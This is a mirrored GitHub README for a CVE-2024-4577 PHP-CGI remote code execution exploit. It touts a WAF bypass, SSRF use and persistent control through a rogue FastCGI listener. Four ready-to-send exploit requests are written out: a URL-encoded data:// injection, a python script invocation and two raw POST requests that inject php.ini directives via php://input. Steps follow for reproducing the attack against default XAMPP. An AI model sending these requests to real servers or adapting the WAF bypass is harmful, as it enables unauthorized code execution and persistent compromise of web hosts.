GithubHelp home page GithubHelp logo

nfttkcauzy / cve-2024-4577-php-rce Goto Github PK

View Code? Open in Web Editor NEW

This project forked from xcanwin/cve-2024-4577-php-rce

0.0 0.0 0.0 51 KB

全球首款利用PHP默认环境的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP,共享原创EXP,支持SSRF,支持绕过WAF。The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.

Python 100.00%

cve-2024-4577-php-rce's Introduction

CVE-2024-4577-PHP-RCE

项目简介与原理

  • 全球首款利用PHP默认环境(XAMPP)的CVE-2024-4577 PHP-CGI RCE 漏洞 EXP。
  • The world's first CVE-2024-4577 PHP-CGI RCE exploit utilizing the default PHP environment. Sharing original exploit, supports SSRF, supports WAF bypass.
  • 实现PHP默认环境RCE。原理:cgi.force_redirect + REDIRECT-STATUS
  • 新增原创EXP,支持SSRF场景的打法。原理:data://协议 + GET请求。
  • 新增原创EXP,支持绕过WAF场景的打法。原理:建立FastCGI服务端 + FastCGI协议通讯。

EXP 2 的优点

  • 无需 allow_url_includeauto_prepend_fileauto_append_file 即可RCE,包含任意文件,包括php文件。
  • 不会出现WAF经常拦截的关键词 allow_url_includeauto_prepend_fileauto_append_file
  • FastCGI服务端的所有通讯不会被WAF记录。
  • 监听新端口,因此实现持久化控制php服务端,独立于apache和php。

吐槽

  • 本不想发起这个仓库的,但发现目前安全行业太浮躁,文章乱发预警乱发,看到权威公众号就跟着乱转,无语。
  • 乱转的POC均无法使用,需要人工编辑配置文件并在特定位置插入特定配置,却在正文说默认环境,无语。
  • 披露的信息使用了利用简单且危害大词汇,但是截图里却显示并不默认的php 302跳转,无语。
  • 因为不懂原理,提供的WAF拦截规则缺少 cgi.force_redirectREDIRECT-STATUS,无语。
  • 因为不懂原理,提供的WAF拦截规则只有 allow_url_includeauto_prepend_file,无语。
  • Github很多CVE-2024-4577的POC都是缺少 cgi.force_redirectREDIRECT-STATUS,无语。
  • Github很多CVE-2024-4577的POC都是执行 echo("test") ,然后判断返回了 test 字符串就认为有漏洞,无语。
  • 以上后果是误导人,导致渗透小白满足于特殊环境复现,导致应急响应小白满足于低质量应对措施,无语。
  • 共享4个全新的EXP,抛砖引玉提升一下业内应急响应过程的攻防思维,大家自行完善攻与防的方案。
  • 希望各家头部安全公众号和网站可以做到真正的应急响应,而不是低质量无厘头转发。
  • 你们用心了,群众才能放心地信任权威安全公众号/github,然后分享、复制、粘贴、转发权威消息 ( ^ ^ )。

漏洞简介

信息 内容
漏洞名称 PHP RCE
漏洞编号 CVE-2024-4577
风险等级 高危
漏洞类型 RCE
利用难度

影响版本

EXP 1

可用于SSRF场景:

http://PhpVulnEnv/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"

EXP 2

可用于绕过WAF场景:

python3 CVE-2024-4577-PHP-RCE.py 127.0.0.1:80

EXP 3

POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpVulnEnv

<?php die("Te"."sT");?>

EXP 4

POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpVulnEnv
REDIRECT-STATUS: XCANWIN

<?php die("Te"."sT");?>

复现

  1. 服务端环境:
XAMPP Windows版 8.2.12
  1. 服务端下载并安装 XAMPP:
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1

或者自主去这里挑受影响版本:https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/

  1. 服务端配置
无需任何修改,保持默认配置
  1. 客户端使用EXP
使用上述EXP进行测试
  1. 验证
观察是否返回字符串 "TesT" 或者读取了服务端的system.ini文件

cve-2024-4577-php-rce's People

Contributors

xcanwin avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.